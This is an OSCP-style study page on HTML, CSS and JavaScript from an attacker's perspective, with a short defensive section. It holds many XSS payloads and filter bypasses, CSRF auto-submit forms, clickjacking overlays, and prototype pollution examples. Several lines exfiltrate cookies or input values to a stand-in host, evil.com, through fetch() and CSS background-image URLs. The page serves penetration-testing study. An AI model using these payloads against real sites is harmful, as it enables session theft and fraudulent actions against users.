Domain 2Web App AttacksCORE

Frontend Technologies

Frontend web technologies (HTML, CSS, JavaScript) from an attacker perspective, covering XSS vectors, DOM manipulation, clickjacking, and client-side exploitation techniques.

Domain: Domain 2: Web Application Penetration Testing•Updated: 2026-09-01
#html#css#javascript#frontend#xss#oscp

Frontend Technologies

Overview

Frontend technologies — HTML, CSS, and JavaScript — form the client-side of web applications. For OSCP, frontend knowledge is critical because many web vulnerabilities (especially XSS) operate at the client side. Understanding how browsers parse and execute frontend code allows you to craft effective payloads, bypass filters, and exploit client-side vulnerabilities.

HTML (HyperText Markup Language)

HTML Structure

<!DOCTYPE html>
<html>
<head>
    <title>Page Title</title>
    <meta charset="UTF-8">
    <link rel="stylesheet" href="styles.css">
    <script src="app.js"></script>
</head>
<body>
    <div id="content">
        <h1>Welcome</h1>
        <form action="/login" method="POST">
            <input type="text" name="username">
            <input type="password" name="password">
            <button type="submit">Login</button>
        </form>
    </div>
</body>
</html>

Attack-Relevant HTML Elements

<script> — XSS Injection

<!-- Basic XSS -->
<script>alert(document.cookie)</script>

<!-- External script -->
<script src="http://evil.com/payload.js"></script>

<!-- Encoded bypass -->
<script>alert(String.fromCharCode(88,83,83))</script>

<img> — Event Handler XSS

<!-- onerror handler -->
<img src=x onerror=alert(1)>

<!-- onload handler -->
<img src="valid.jpg" onload=alert(1)>

<!-- onmouseover handler -->
<img src=x onmouseover=alert(1)>

<!-- Data URI -->
<img src="data:image/svg+xml,<svg onload=alert(1)>">

<iframe> — Clickjacking and XSS

<!-- Clickjacking overlay -->
<iframe src="https://target.com/transfer" style="position:absolute;width:100%;height:100%;opacity:0.01;z-index:999;"></iframe>

<!-- XSS via iframe -->
<iframe src="javascript:alert(1)"></iframe>

<!-- Sandbox bypass -->
<iframe sandbox="allow-scripts" srcdoc="<script>alert(1)</script>"></iframe>

<form> — CSRF and Data Exfiltration

<!-- CSRF form -->
<form action="https://target.com/transfer" method="POST">
    <input type="hidden" name="amount" value="10000">
    <input type="hidden" name="to" value="attacker">
    <input type="submit">
</form>

<!-- Auto-submitting CSRF -->
<form action="https://target.com/transfer" method="POST" id="csrf">
    <input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('csrf').submit();</script>

<a> — Open Redirect and JavaScript URIs

<!-- Open redirect -->
<a href="http://evil.com">Click here</a>

<!-- JavaScript URI -->
<a href="javascript:alert(document.cookie)">Click</a>

<!-- Data URI -->
<a href="data:text/html,<script>alert(1)</script>">Click</a>

<!-- Protocol-relative URL -->
<a href="//evil.com">Click</a>

<svg> — SVG-Based XSS

<!-- SVG onload -->
<svg onload=alert(1)>

<!-- SVG with script -->
<svg><script>alert(1)</script></svg>

<!-- SVG in image context -->
<img src="data:image/svg+xml,<svg onload=alert(1)>">

<object> and <embed> — Plugin Exploitation

<!-- Object tag -->
<object data="http://evil.com/exploit.swf"></object>

<!-- Embed tag -->
<embed src="http://evil.com/exploit.swf">

<!-- Data URI with SVG -->
<object data="data:image/svg+xml,<svg onload=alert(1)>"></object>
<!-- External stylesheet -->
<link rel="stylesheet" href="http://evil.com/malicious.css">

<!-- CSS data exfiltration -->
<link rel="stylesheet" href="http://evil.com/steal?cookie=VALUE">

<meta> — Redirect and Auto-Submit

<!-- Redirect -->
<meta http-equiv="refresh" content="0;url=http://evil.com">

<!-- Auto-submit form -->
<meta http-equiv="refresh" content="0;url=javascript:document.forms[0].submit()">

CSS (Cascading Style Sheets)

CSS Attack Techniques

1. CSS Injection

Concept: Inject malicious CSS to alter page appearance or behavior.

/* Hide sensitive content */
.password-field { display: none; }

/* Replace content */
.balance::after { content: "1000000"; }

/* Redirect user */
body { background: url("http://evil.com/log?c=") no-repeat; }

2. CSS Data Exfiltration

Concept: Use CSS selectors to extract data from a page.

/* Steal content based on attribute values */
input[value^="a"] { background-image: url("http://evil.com/steal?a"); }
input[value^="b"] { background-image: url("http://evil.com/steal?b"); }
input[value^="c"] { background-image: url("http://evil.com/steal?c"); }

/* Steal based on content */
div:has(> span:first-child:contains("admin")) {
    background-image: url("http://evil.com/steal?role=admin");
}

3. Clickjacking via CSS

Concept: Use transparent overlays to trick users into clicking hidden elements.

/* Transparent overlay */
.clickjacking-overlay {
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    opacity: 0.01;
    z-index: 9999;
}

4. CSS Profiling

Concept: Extract hidden content using CSS pseudo-selectors.

/* Check checkbox state */
input:checked { background-image: url("http://evil.com/checked"); }

/* Validate content */
input:valid { background-image: url("http://evil.com/valid"); }
input:invalid { background-image: url("http://evil.com/invalid"); }

JavaScript

JavaScript Fundamentals for Attackers

DOM Manipulation

// Access DOM elements
document.getElementById('username')
document.querySelector('.password')
document.getElementsByTagName('input')

// Modify DOM
document.body.innerHTML = '<script>alert(1)</script>'
document.write('<img src=x onerror=alert(1)>')

// Create elements
var img = document.createElement('img');
img.src = 'x';
img.onerror = function() { alert(1); };
document.body.appendChild(img);

Critical JavaScript APIs

API Attack Use Example
document.cookie Steal session cookies fetch('http://evil.com/?c='+document.cookie)
fetch() / XMLHttpRequest Exfiltrate data, unauthorized API calls fetch('/api/users').then(r=>r.json())
eval() Execute injected code eval(userInput)
innerHTML DOM-based XSS element.innerHTML = userInput
document.write() Overwrite page content document.write(userInput)
window.location Redirect victims window.location = 'http://evil.com'
localStorage / sessionStorage Steal stored data localStorage.getItem('token')
navigator.clipboard Steal clipboard navigator.clipboard.readText()
WebSocket Persistent exfiltration new WebSocket('ws://evil.com')

XSS (Cross-Site Scripting) Deep Dive

Reflected XSS

Concept: Malicious script is reflected in the HTTP response.

# User visits:
http://target.com/search?q=<script>alert(1)</script>

# Server responds with:
<html>
  <h1>Search results for: <script>alert(1)</script></h1>
</html>

OSCP Example:

# Test for reflected XSS
curl "http://target.com/search?q=<script>alert(1)</script>"

# If the response contains the script tag unescaped, XSS exists

Stored XSS

Concept: Malicious script is stored on the server and served to other users.

# Submit malicious comment:
POST /comments
body=Check out this site: <script>fetch('http://evil.com/?c='+document.cookie)</script>

# All users who view the comment execute the script

DOM-Based XSS

Concept: Vulnerability exists in client-side JavaScript, not in server-side code.

// Vulnerable code
var input = window.location.hash.substring(1);
document.getElementById('output').innerHTML = input;

// Exploitation
# http://target.com/page#<script>alert(1)</script>

JavaScript Injection Patterns

// Basic XSS payloads
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>

// Filter bypasses
<script>alert(1)</script>          <!-- Basic -->
<ScRiPt>alert(1)</ScRiPt>          <!-- Case variation -->
<script>alert&#40;1&#41;</script>  <!-- HTML entities -->
<script>alert(String.fromCharCode(49))</script>  <!-- Char codes -->
<script>\u0061lert(1)</script>     <!-- Unicode escapes -->
<scr<script>ipt>alert(1)</scr</script>ipt>  <!-- Nested tags -->

// Event handler bypasses
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<body/onload=alert(1)>
<div/onmouseover=alert(1)>hover</div>
<input/onfocus=alert(1)autofocus>
<textarea/onfocus=alert(1)autofocus>

// JavaScript URI
javascript:alert(1)
javascript:alert(document.cookie)
data:text/html,<script>alert(1)</script>

Prototype Pollution

Concept: Modify JavaScript Object.prototype to affect all objects.

// Pollution
Object.prototype.isAdmin = true;

// Impact
var user = {};
console.log(user.isAdmin); // true (inherited from prototype)

// Via JSON merge
var config = {};
var user_input = JSON.parse('{"__proto__": {"isAdmin": true}}');
Object.assign(config, user_input);
console.log(config.isAdmin); // true

Practical Lab Exercises

Exercise 1: Find Reflected XSS

# Step 1: Identify input points
# Look for search boxes, form fields, URL parameters

# Step 2: Test with basic payload
curl "http://target.com/search?q=<script>alert(1)</script>"

# Step 3: Check if payload is reflected
# If response contains <script>alert(1)</script> unescaped, XSS exists

# Step 4: Try filter bypasses
curl "http://target.com/search?q=<ScRiPt>alert(1)</ScRiPt>"
curl "http://target.com/search?q=<img%20src=x%20onerror=alert(1)>"
curl "http://target.com/search?q=<svg/onload=alert(1)>"

Exercise 2: Exploit DOM-Based XSS

// Step 1: Analyze JavaScript source
// Look for: innerHTML, document.write(), eval(), window.location

// Step 2: Find the vulnerable parameter
// var x = window.location.hash.substring(1);
// document.getElementById('output').innerHTML = x;

// Step 3: Craft payload
# http://target.com/page#<script>alert(1)</script>

// Step 4: Verify execution in browser

Exercise 3: CSRF Attack

<!-- Create CSRF payload -->
<html>
<body>
    <form action="http://target.com/transfer" method="POST">
        <input type="hidden" name="to" value="attacker_account">
        <input type="hidden" name="amount" value="10000">
        <input type="submit" value="Submit">
    </form>
    <script>document.forms[0].submit();</script>
</body>
</html>

Defensive Strategies

XSS Prevention

  1. Output Encoding: Encode all dynamic content before rendering.

    // Use textContent instead of innerHTML
    element.textContent = userInput; // Safe
    element.innerHTML = userInput;   // Dangerous
  2. Content Security Policy (CSP):

    Content-Security-Policy: default-src 'self'; script-src 'self'
  3. HttpOnly Cookies: Prevent JavaScript access to session cookies.

    Set-Cookie: sessionid=abc123; HttpOnly; Secure; SameSite=Strict
  4. Input Validation: Whitelist allowed characters and patterns.

  5. X-Frame-Options: Prevent clickjacking.

    X-Frame-Options: DENY

Key Takeaways for OSCP

  1. XSS is the #1 web vulnerability in OSCP. Master XSS payloads and filter bypasses.

  2. HTML elements are your payload carriers. <script>, <img>, <svg>, <iframe> — know them all.

  3. Event handlers are powerful. onerror, onload, onmouseover, onfocus — each works in different contexts.

  4. DOM-based XSS is client-side only. Burp may not catch it — analyze the JavaScript source.

  5. CSS can exfiltrate data. Use background-image URLs to steal information character by character.

  6. JavaScript APIs are exfiltration channels. fetch(), XMLHttpRequest, WebSocket — all can send data to your server.

Exam Tips

  • When you find an input field, test for XSS immediately.
  • Try multiple payload formats — the filter may block <script> but allow <svg>.
  • Check JavaScript files for DOM-based XSS vulnerabilities.
  • Use Burp Suite’s Intruder to automate XSS payload testing.
  • If XSS is found, use it to steal cookies or execute commands in the victim’s context.
  • Remember: XSS in an admin context is worth more than XSS in a user context.